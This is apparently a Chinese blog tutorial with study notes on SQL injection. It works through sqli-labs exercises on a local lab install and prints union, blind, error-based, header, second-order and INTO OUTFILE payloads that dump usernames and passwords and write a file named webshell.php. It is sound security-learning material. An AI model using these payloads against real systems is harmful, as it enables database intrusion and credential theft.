SQL注入

session

Session是一种服务器端的数据存储机制,用于存储和管理用户会话相关的数据。每个用户都会被分配一个唯一的Session ID,该ID通过Cookie或URL重写的方式发送给客户端浏览器,并在后续的请求中携带。

特点

  • 服务端存储:Session数据存储在服务器端,在客户端浏览器中仅保存一个与Session相关的标识(通常是Session ID)。

  • 存储容量大:相比于Cookie,Session可以存储更多的数据,没有明确的大小限制。

  • 安全性较高:Session数据位于服务器端,对客户端是不可见的,因此适合存储敏感信息。

  • 依赖Cookie或URL重写:Session ID通常通过Cookie或URL重写的方式传递给客户端。

过程

  1. 浏览器端第一次发送请求到服务器端,服务器端创建一个Session,同时会创建一个特殊的Cookie(name为JSESSIONID的固定值,value为session对象的ID),然后将该Cookie发送至浏览器端。

  2. 浏览器端发送第N(N>1)次请求到服务器端,浏览器端访问服务器端时就会携带该name为JSESSIONID的Cookie对象。

  3. 服务器端根据name为JSESSIONID的Cookie的value(sessionId),去查询Session对象,从而区分不同用户。

    • name为JSESSIONID的Cookie不存在(关闭或更换浏览器),返回1中重新去创建Session与特殊的Cookie

    • name为JSESSIONID的Cookie存在,根据value中的SessionId去寻找session对象

    • value为SessionId不存在(Session对象默认存活30分钟),返回1中重新去创建Session与特殊的Cookie

    • value为SessionId存在,返回session对象

cookie

Cookie是一种存储在客户端浏览器中的小型文本文件。它由服务器生成,并通过HTTP协议发送给客户端浏览器。浏览器将Cookie保存在本地,并在每次发送请求时自动携带该Cookie,以便服务器可以读取其中的数据。

特点

  • 存储数据量小:Cookie的大小通常受到浏览器限制,一般不超过4KB。这意味着Cookie只适合存储少量的数据。

  • 存储在客户端:Cookie将数据存储在客户端浏览器中,可以通过JavaScript进行读取和操作。

  • 每次请求都会携带:客户端每次发送请求时,会自动附带相应的Cookie数据。

  • 不安全:Cookie中的数据可以被用户和其他网站访问到,因此不适合存储敏感信息。

过程

  1. 浏览器端第一次发送请求到服务器端;

  2. 服务器端创建Cookie,该Cookie中包含用户的信息,然后将该Cookie发送到浏览器端;

  3. 浏览器端再次访问服务器端时会携带服务器端创建的Cookie;先查询cookie是否本地存在,然后查询是否过期。如果条件全满足,则可以直接登录。

  4. 服务器端通过Cookie中携带的数据区分不同的用户。

session 和cookie的区别

相同点

cookie和session都是用来跟踪浏览器用户身份的会话方式。

不同点

  • 存储位置:Cookie存储在客户端浏览器,Session存储在服务器端。

  • 数据容量:Cookie的容量较小,一般不超过4KB;而Session可以存储更多的数据。

  • 安全性:由于Cookie存储在客户端,其中的数据可被用户和其他网站访问,因此安全性较低;而Session数据存储在服务器端,对客户端不可见,因此相对较安全。

  • 传输方式:Cookie通过HTTP协议自动发送给服务器,每次请求都会携带Cookie数据;而Session可以通过Cookie或URL重写的方式传递Session ID。

  • 生命周期:Cookie可以通过设置过期时间来指定存储的时间,可以是短期的或长期的;而Session默认情况下会持续到用户关闭浏览器或会话超时。

  • 应用场景:Cookie适合存储少量的数据,常用于用户身份认证、记住登录状态等场景;Session适合存储较大的数据,常用于购物车功能、跨页面数据传递等场景。

SQL注入分类

按照注入点类型分类

字符型注入

输入的参数为整数,如ID、年龄、页码等,如果存在注入型漏洞,则为数字型(整型)

练习

  1. 第一关

    1. 首先需要判断注入点,并且通过union来进行多表查询。

      • 通过get进行传参,并且通过id进行查询,可以在id中写入写入单引号,并且在后面继续写MySQL语句。

    • 但是要注意部分符号会发生转义编码;

      • RFC3986文档规定,Url中只允许包含以下四种:
          1、英文字母(a-zA-Z)
          2、数字(0-9)
          3、-_.~ 4个特殊字符
          4、所有保留字符,RFC3986中指定了以下字符为保留字符(英文字符):     ! * ' ( ) ; : @ & = + $ , / ? # [ ]
    • 但是由于连表查询,会先输出第一个查询内容,所以让第一个表查询内容为空,即给一个无效值。

    • 查询出当前数据库的名称

      • 通过order by或者直接看源码来判断要求输出列数。

      • 查询数据库名称是用select database();

      • 通过user()来查询当前用户权限;

      • http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=0%27%20union%20select%201%2Cuser%28%29%2C%20database%28%29;%23
    • 通过断点来详细查看上一条语句作用

      • 直接进入查看所有变量的内容,其中id的内容是经转译后的内容。

      • 当代码走到变量sql的时候,原本的语句经过之前id的写入。内容发送变化。变成一条完整的union查询语句,并且注释了后半部分。

      • 代码继续走到数据库返回值时,我们可以发现原来是username和password的地方变成我们定义查询的内容。

    • 由于查询表单内容时,只能输出第一行的,所以需要将输出的内容单行显示。

      • 使用group_concat函数

    • 查询当前数据库下的所有表名称

      • 原语句:
         select group_concat(table_name) from information_schema.tables where table_schema = "security";
         url语句:
         select%202%2C2%2Cgroup_concat%28table_name%29%20from%20information_schema%2Etables%20where%20table_schema%20=%22security%22;%23
    • 查询users的所有列名称

      • 原语句:
         select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
         url语句:
         select%201%2C2%2Cgroup_concat%28column_name%29%20from%20information_schema%2Ecolumns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27;%23
    • 查询users表单的用户名和密码信息

      • 原代码
         select group_concat(username,":",password) from users;
         url转译
         select%201%2C2%2Cgroup_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users;%23
  2. 第三关

    • 首先需要判断注入点,通过get进行传参,并且通过id进行查询;相比于之前,闭合方式发生改变。只需要修改闭合方式即可

    • 查询users表单的用户名和密码信息

      • 原代码
         select group_concat(username,":",password) from users;
         url转译
         http://127.0.0.1/sqli-labs-php7-master/Less-3/?id=0%27%29%20union%20select%201%2C2%2Cgroup_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users;%23
  3. 第四关

    • 首先需要判断注入点,通过get进行传参,并且通过id进行查询;相比于之前,闭合方式发生改变。只需要修改闭合方式即可。

      • 在①的PHP代码中,这行代码将变量$id的值用双引号括起来,并重新赋值给$id例如,如果$id的原始值是5,那么经过这行代码处理后,$id的值将变成"5".(点)的作用是字符串连接操作符。它用于将两个字符串连接在一起,形成一个新的字符串。并且在之后给新$id,增加了括号,所以还要逃避一个括号。

    • 查询users表单的用户名和密码信息

      • 原代码
         select group_concat(username,":",password) from users;
         url转译
         http://127.0.0.1/sqli-labs-php7-master/Less-4/?id=0%22%29%20union%20select%201%2C2%2Cgroup_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users;%23
  4. 第11关

    • 首先需要判断注入点,POTH进行传参,并且通过username和password进行查询;并且闭合方式为单引号闭合。由于要有两个值查询,所以我们可以用第一个进行union查询,然后注释后面全部内容即可。

    • 注意此时由于不再是URL传参,所以内容不需要在进行编码了

    • 查询user和当前使用数据库;

      •  ad' union select user(),database();#
         密码随便输入,反正注释了
    • 过程如下

      • 直接进入查看所有变量的内容

      • 当代码走到变量sql的时候,原本的语句经过之前id的写入。内容发送变化。变成一条完整的union查询语句,并且注释了后半部分。

        • SQL注入-11-4.png

      • 代码继续走到数据库返回值时,我们可以发现原来是username和password的地方变成我们定义查询的内容。

    • 得出密码

      • 1' union select group_concat(username),group_concat(password) from users;#
         密码随便输入
  5. 第12关

    • 首先需要判断注入点,闭合方式为双引号闭合+ 括号闭合。然后注释后面全部内容即可。

    • 得出密码

      •  1") union select group_concat(username),group_concat(password) from users;#
         密码随便输入
  6. 第20题

    • 分析源码,发现这次依然是过滤用户和密码,但是新加cookee变量值,并且没有过滤,直接查询。

    • 获取users表的内容

      • aaa' union select 1,2,group_concat(username,":",password) from users#</span>
    • 当然也可以用updatexml进行报错注入,此处不再赘述。

  7. 第21题

    • 分析源码,发现这次依然是过滤用户和密码,依然存在cookee变量值,并且没有过滤,直接查询。但是在username在存入的时候进行 base64编码,之后 base64解码之后才进行查询。而且还增加了括号闭合。

    • 获取users表的内容

      • aaa') union select 1,2,group_concat(username,":",password) from users#
        
        进行base64编码后内容为
        YWFhJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUsIjoiLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==
    • 当然也可以用updatexml进行报错注入,此处不再赘述。

  8. 第22关

    • 分析源码,发现这次依然是过滤用户和密码,依然存在cookee变量值,并且没有过滤,直接查询。但是在username在存入的时候进行 base64编码,之后 base64解码之后才进行查询。只是变成双引号闭合。

    • 获取users表的内容

      •  aaa" union select 1,2,group_concat(username,":",password) from users#
         ​
         进行base64编码后内容为
         YWFhIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSwiOiIscGFzc3dvcmQpIGZyb20gdXNlcnMj
    • 当然也可以用updatexml进行报错注入,此处不再赘述。

  9. 第23关

    • 注入点分析:使用get传参,但是禁用了注释。所以只能使用闭合。其他和第一关差不多。

数字型(整数)注入

输入的参数为整数,如ID、年龄、页码等,如果存在注入型漏洞,则为数字型(整型)注入。实际查询代码原型诸如: select … from … where id=$id …

练习

  1. 第二关

    • 首先需要判断注入点,然后通过union来进行多表查询。

      • 通过get进行传参,并且通过id进行查询,可以在id中写入写入单引号,并且在后面继续写MySQL语句。相比于第一关这次没有单引号闭合问题,所以不需要考虑闭合问题。

    • 查询出当前数据库的名称

      • 通过order by或者直接看源码来判断要求输出列数。

      • 查询数据库名称是用select database();

      • 通过user()来查询当前用户权限;

      • http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=0%20union%20select%201%2Cuser%28%29%2C%20database%28%29;%23
    • 由于查询表单内容时,只能输出第一行的,所有将输出的内容单行显示。

      • 使用group_concat函数

    • 查询当前数据库下的所有表名称

      • 原语句:
        select group_concat(table_name) from information_schema.tables where table_schema = "security";
        url语句:
        select%202%2C2%2Cgroup_concat%28table_name%29%20from%20information_schema%2Etables%20where%20table_schema%20=%22security%22;%23
        
    • 查询users的所有列名称

      • 原语句:
        select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
        url语句:
        select%201%2C2%2Cgroup_concat%28column_name%29%20from%20information_schema%2Ecolumns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27;%23
    • 查询users表单的用户名和密码信息

      • 原代码
        select group_concat(username,":",password) from users;
        url转译
        select%201%2C2%2Cgroup_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users;%23
搜索型注入

按照注入技术(执行效果)分类

基于布尔的盲注

布尔盲注,与普通注入的区别在于“盲注”。在注入语句后,盲注不是返回查询到的结果,而只是返回查询是否成功,即:返回查询语句的布尔值。因此,盲注要盲猜试错。由于只有返回的布尔值,往往查询非常复杂,一般使用脚本来穷举试错。

练习

  1. 第八关

    • 寻找注入点:通过分析代码,注入点依然是id的参数,并且单引号闭合。但是此时不返回打印数据。当你查询正确就显示设定好的输出内容,如果查询错误什么都不显示。

    • 但是页面有两种状态,当查询正确的时候,返回预定内容。查询错误什么都不显示。所以我们可以通过将内容一位一位转化为ASCII 编码,进行对比,从而判断出完整的内容。从0开始增加,进行判断数据库的第一个字母的ASCII编码是否大于某个值,当在某个值页面突变,即该字母的ASCII编码为该数值。

      • 原语句
        and ascii(substr(database(),1,1))>115--+
        url
        http://127.0.0.1/sqli-labs-php7-master/Less-8/?id=1%27%20and%20ascii(substr(database(),1,1))%20%3E115--+
    • 通过编写python脚本进行自动判断。但是由于需要不断对比,所以速度比较慢。

    • 当然我们也可以使用别人预制好的软件,如sqlmap。

  2. 第15关

    • 注入点分析:此时是单引号闭合,但是没有任何显示,只有两张图片的变化

    • 同样,可以通过判断

      • admin' and ascii(substr(database(),1,1))>100;#
        密码随便输入
        
    • 通过python代码实现不断判断输出名称。

  3. 第16关

    • 注入点分析:此时是双引号+括号闭合,依然只有两张图片的变化

    • 同样,可以通过判断

      • admin' and ascii(substr(database(),1,1))>100;#
         密码随便输入
    • 通过python代码实现不断判断输出名称。

基于时间的盲注

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

第九关

  • 寻找注入点:通过分析代码,注入点依然是id的参数,并且单引号闭合。但是此时不不再有两种状态来判断。

  • 由于情况一样,所以我们需要使正确和错误的情况有差别。此时可以使用sleep函数来控制页面的加载时间,可以当返回情况正确我们让页面沉睡一段时间,返回错误正常返回。

    • 源代码
      http://127.0.0.1/sqli-labs-php7-master/Less-9/?id=1' and if(ascii(substr(database(),1,1)) > 100,sleep(2),0)--+
      # if ( 条件,满足条件执行语句,不满足条件执行语句)
      url
      http://127.0.0.1/sqli-labs-php7-master/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E100,%20sleep(2),%200)--+
  • 此时由于时间不一样,就可以进行判断。可以通过使用软件sqlmap。

第10关

  • 寻找注入点:通过分析代码,注入点依然是id的参数,并且是时间盲注,但是此时是双引号闭合。

  • 依然是通过sleep来控制不同情况下的加载时间

    • 源代码
      http://127.0.0.1/sqli-labs-php7-master/Less-10/?id=1" and if(ascii(substr(database(),1,1)) > 100,sleep(2),0)--+
      # if ( 条件,满足条件执行语句,不满足条件执行语句)
      url
      http://127.0.0.1/sqli-labs-php7-master/Less-10/?id=1%22%20and%20if(ascii(substr(database(),1,1))%3E100,%20sleep(2),%200)--+
  • 此时由于时间不一样,就可以进行判断。可以通过使用软件sqlmap。

基于报错的注入

报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果;

floor报错

利用 select count( * ),(floor(rand(0) * 2))x from table group by x,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。基本的查询 select 不必多说,剩下的几个关键字有 count 、group by 、floor、rand。

这个整合然后计数的过程中,首先mysql遇到该语句时会建立一个虚拟表。

该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count( * )。也就对应于实验中的 user_name 和 count( * )。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0) * 2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。),floor(rand(0)*2)的意思是随机产生0或1。虽说是随机,但是它是有规律可循的。看看上面解释的rand(x),对于rand(0)而言,虽说是随机数,但是它的值与执行rand(0)的次数是意义对应的,即每一次执行rand(0)得到的结果都是固定的。基本是011011...这个序列。

查询前默认会建立空虚拟表如下图

  1. 首先需要建立一张虚拟表

  2. 取出第一条记录进行处理,执行floor(rand(0)*2),发现结果为0(第一次计算),将结果写入表格中。

  3. 查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕。会将计算的数据插入到虚拟表中。即key=1 count( * ) =1;

  4. 查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

  5. 查询虚表,发现1的键值存在,所以floor(rand(0) * 2)不会被计算第二次,直接count( * )加1,第二条记录查询完毕,结果如下

  6. 查询第三条记录,再次计算floor(rand(0) * 2),发现结果为0(第4次计算)

  7. 查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0) * 2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入。

  8. 然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

另外,要注意加入随机数种子的问题,如果没加入随机数种子或者加入其他的数,那么floor(rand() * 2)产生的序列是不可测的,这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值,如果存在了,那无论多少条记录,也都没办法报错,因为floor(rand() * 2)不会再被计算做为虚表的键值,这也就是为什么不加随机因子有时候会报错,有时候不会报错的原因。

第五关

  • 寻找注入点:通过分析代码,注入点依然是id的参数,并且单引号闭合。但是此时不返回打印数据。只返回错误内容。

  • 通过输入错误内容可以发现,返回错误语句。

  • 需要使用updataxml函数,进行报错查询。

    • 获取当前用户名

    • # 0x7e这个东西,它是 ~ 16进制的表示方法,它不属于xpath语法格式,因此报出xpath语法错误。
      ?id=1' and updatexml(1,concat(0x7e,(user()),0x7e),1)--+
      
      http://127.0.0.1/sqli-labs-php7-master/Less-5/?id=1%27%20and%20updatexml%281%2Cconcat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29--+
  • 于是报错只显示一行内容,并且updatexml函数最多输出32个字节。~的存在占据一位,密文只有31位,所以substring函数作用就出来了。通过使用substr(xx,xx,xx)来截取。

  • 获取数据库名称。

    • 原语句:
       select * from information_schema.schema; --- 查询所有数据库
       select databases();                      --- 查询当前所在数据库
       # 二选一
       url语句
       ?id=1%27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20database%28%29%29%2C0x7e%29%2C1%29--+
  • 获取表名称。

    • 原语句
      select group_concat(table_name) from information_schema.tables where table_schema = "security";
      usr语句
      ?id=1%27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28table_name%29%20from%20information_schema%2Etables%20where%20table_schema%20=%22security%22%29%2C0x7e%29%2C1%29--+
  • 获取表的列名称。

    • 原语句
       select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name = "users";
       usr语句
       ?id=1%27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from information_schema%2Ecolumns%20where%20table_schema=%22security%22%20and%20table_name = %22users%22%29%2C0x7e%29%2C1%29--+
  • 获取users表的内容。

    • 原语句
      substr((select group_concat(username,":",password) from users),1,32) -- 修改substr后两个参数,即可显示不同内容。
      usr语句
      ?id=1%27%20and%20updatexml%281%2Cconcat%280x7e%2Csubstr%28%28select%20group_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users%29%2C1%2C32%29%2C0x7e%29%2C1%29--+

第六关

  • 注入点分析:闭合方式变为双引号闭合;

  • 原语句
    substr((select group_concat(username,":",password) from users),1,32) -- 修改substr后两个参数,即可显示不同内容。
    usr语句
    ?id=1%22%20and%20updatexml%281%2Cconcat%280x7e%2Csubstr%28%28select%20group_concat%28username%2C%22%3A%22%2Cpassword%29%20from%20users%29%2C1%2C32%29%2C0x7e%29%2C1%29--

第13关

  • 寻找注入点:通过分析代码,注入点依然是username和password的参数,并且单引号+括号闭合。但是此时不返回打印数据。只返回错误内容。

  • 查询密码

    • ad') and updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from users),1,32),0x7e),1);#
      密码随便输入

第14关

  • 寻找注入点:通过分析代码,注入点依然是username和password的参数,并且双引号闭合。

  • 查询密码

    • ad" and updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from users),1,32),0x7e),1);#
       密码随便输入

第17关

  • 寻找注入点:通过分析代码,发现传递的username和password参数中,username被函数过滤了。但是password没有被过滤,并且后面还用到password进行数据更新,所有我们需要一个正确的用户名称,以便于进入到if判断里,进行password的注入。

  • 过滤函数的作用分析

    • 第一个:截断username,只取15个长度字符串。这是为了防止输入数据过长,影响数据库操作或安全。

    • 第二个:在PHP 5.3.0及以后版本中,magic_quotes_gpc功能已被废弃。如果magic_quotes_gpc功能开启,则移除输入值中的转义字符。为了避免你在输入的过程中已经转译过一次。

    • 第三个:如果输入值不是纯数字,则将其用单引号包围,并使用mysqli_real_escape_string函数对值进行转义,以防止SQL注入攻击。如果输入值是纯数字,则将其转换为整数类型。

  • 通过密码进行报错注入

    • 正确的账号
      1' and updatexml(1,concat(0x7e,user(),0x7e),1);#
  • 也可以使用floor进行报错注入

    • 1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) x from information_schema.tables group by x)as y)#
  • 获取密码

    • 1' and (select 1 from (select count(*),concat((concat(0x7e,substr((select group_concat(username,":",password) from security.users),1,32),0x7e)),floor(rand(0)*2)) x from information_schema.tables group by x)as y)#
    • 如果使用updatexml报错注入可能出现以下问题

      • 1' and updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from security.users),1,32),0x7e),1);#
      • 这个报错通常是因为在 UPDATE 语句中使用了子查询,并且子查询中引用了待更新的目标表(例如 'users' 表)。这会导致 MySQL 报错,因为 MySQL 不允许在子查询中直接引用待更新的目标表,以防止出现不确定的结果。

第18题

  • 注入点分析:由于账号密码都被过滤了,但是它新设定了两个参数,在用户正常登录之后进行插入新定义的两个参数,初步判断注入点在这里。并且USER_AGENT和IP都可控。

  • 由于这个场景是模拟用户注册后登陆的场景,所有知道账号和密码;

  • 使用软件burpsuite进行抓包该包

    • 可能抓包中没有REMOTE_ADDR参数可能没有,但是可以修改User_Agent参数

  • 查询user函数内容,但是需要注意构造的时候如果是句号,则需要补全剩下两个参数的内容。

    • a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1
  • 查看用户账号密码

    • 1' and updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from security.users),1,32),0x7e),1) and '1'='1
       ​
       注释
       1' and updatexml(1,concat(0x7e,substr((select group_concat(username,":",password) from security.users),1,32),0x7e),1),'1.1.1.1','admin')#
联合查询注入

可以使用union的情况下的注入。通常搭配其他注入一起进行。

堆查询注入

MySQL上传文件

通过使用MySQL的outfile函数进行文件上传。但是要求很特殊基本上很难满足。

  • mysql当前用户权限为root,一般网站基本上都不会是root,可能是普通用户的权限。

  • 知道网站的物理路径,即在物理机上存放的绝对路径。

  • 在secure_file_priv 值为空白,不能为null。即允许导出文件到任何位置。

第七题

按照要求登录发现要上传文件,我们是不是可以考虑上传一个后门文件呢?

  • 分析源码,发现这次是单引号+两个括号闭合,所以需要逃出单引号和两个双引号。

  • 如果上传文件就要满足三个条件,由于是本地搭建。所以条件满足。

    • 当前用户权限;

      • http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=1%27%29%29%20and%20updatexml%281%2Cconcat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29--+
    • 知道网站的物理路径;

    • 在secure_file_priv 值为空白。

  • 上传文件

    • 需要联合查询
      union select 1,2,"<?php phpinfo();" into outfile "D:/Mytools/phpStudy/phpstudy_pro/WWW/sqli-labs-php7-master/Less-7/webshell.php";--+
      url
      http://127.0.0.1/sqli-labs-php7-master/Less-7/?id=1%27))%20union%20select%201,2,%22%3C?php%20phpinfo();%22%20into%20outfile%20%22D:/Mytools/phpStudy/phpstudy_pro/WWW/sqli-labs-php7-master/Less-7/webshell.php%22;--+
      

SQL二次注入

SQL二次注入是一种攻击技术,它发生在一次注入之后,攻击者通过应用程序的响应来生成额外的SQL查询。这种攻击通常发生在开发者未能正确清理或转义在次注入过程中用户可控的输入数据,使得攻击者可以执行预期之外的SQL命令。

第24题

  • 分析源码:发现在修改密码的页面,即数据从数据库拿出来的过程中没有过滤,并且由于自定义的密码,很容易满足条件。可以通过此工作来影响其他的用户名称。

  • 我们的设置账户名称为 Dumb‘#,由于数据库中本身存在一个Dumb。但是 Dumb'#和Dumb并不相同,视为新用户。但是在从数据库拿出来的时候此处的数据库查询语句就变为

  • 修改当前Dumb‘#密码,影响Dumb用户。

    • UPDATE users SET PASSWORD='$pass' where username='Dumb'#' and password='$curr_pass' 
      # 此时即可影响到数据库里面另一个用户Dumb的账户和密码

无列名注入

        在MySQL的版本中存在一个名为 information_schema 的库,里面记录着 mysql 中所有表的结构。通常,在 SQL注入中,我们会通过此库中的表去获取其他表的结构,也就是表名、列名等。但是这个库经常被 WAF 过滤。

方法一 别名法
 # 一般MySQL查询语句
 select 列名1,列名2 from 表名称;
 ​
 # 但是我们可以使用union联合查询替换掉列名
 select 1,2,3 union select 列名1,列名2,列名3 from 表名称;
 select 1,2,3 union select id,username,password from users;
 # 此时得到的数据为下图所示,列名变为1,2,3。此时可以继续数字来对应列,如"3"对应了表里面的 password;
 # 当然order by可以用数字替换列名称。

当然,多数情况下,单引号会被过滤。当单引号不能使用的时候,使用别名来代替。

 select b from (select 1,2,3 as b union select id,username,password from users) as a;
 # 此时可以得出密码

方法二 报错法

MySQL中join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段。

利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,再使用union select保持前后查询的字段数一样,不然会报错。

 # 得到 id 列名重复报错
 select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
 # 得到 username 列名重复报错
 select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
 # 得到 password 列名重复报错
 select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
 # 得到 user 表中的数据
 select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
  

方法三 版本新内容

mysql 8.0.19新增语句table MySQL :: MySQL 8.0 Reference Manual :: 15.2.16 TABLE Statement

 TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

可以把table t简单理解成select * from t,和select的区别在于

  • table总是显示表的所有列

  • table不允许任何的行过滤;也就是说,TABLE不支持任何WHERE子句。 可以用来盲注表名

新增的values语句也挺有意思,在某些情况似乎可以代替unionselect进行order by盲注

注意

情况一 版本差异

        由于版本的差异,在MySQL数据库5.7.26版本中,如果遇到update语句进行报错注入时,用到updatexml函数报错查询内容的表格和update语更新的表格一直的话可能会报错。

 update users set password='1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1); --- 但是在其他版本可能不会报错。

也可能遇到另一个错误,一般来说密码可以是任意字符。但是在上句语句中如果password='a' 或者任意字符时,可能遇到以下问题

这是由于MySQL中更新两个或者多个字符内容是用逗号隔开的,但是此处用到是and,所以会报语法错误。但是当前一个是数字时,按道理来说也应该报错。但是并不会报错。如果写一条update语句如下

 update users set password='1' and '0';

他会跟更新所有账号的密码。因为and的优先级更高,1和0先进行逻辑运算,结果为0。然后再进行更新的语句操作,所以更新所有账号的密码为0; 在1和updatexml进行逻辑运算的时候,updatexml出现语法错误。所以能报错出内容。但是前面如果为字符时,不会进行逻辑运算。直接进行语法检测发现错误,从而爆出语法错误。

更新中.....

8-7新加 无列名注入和sqli-labs第17关为什么不能用updatexml报错

  • 32
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值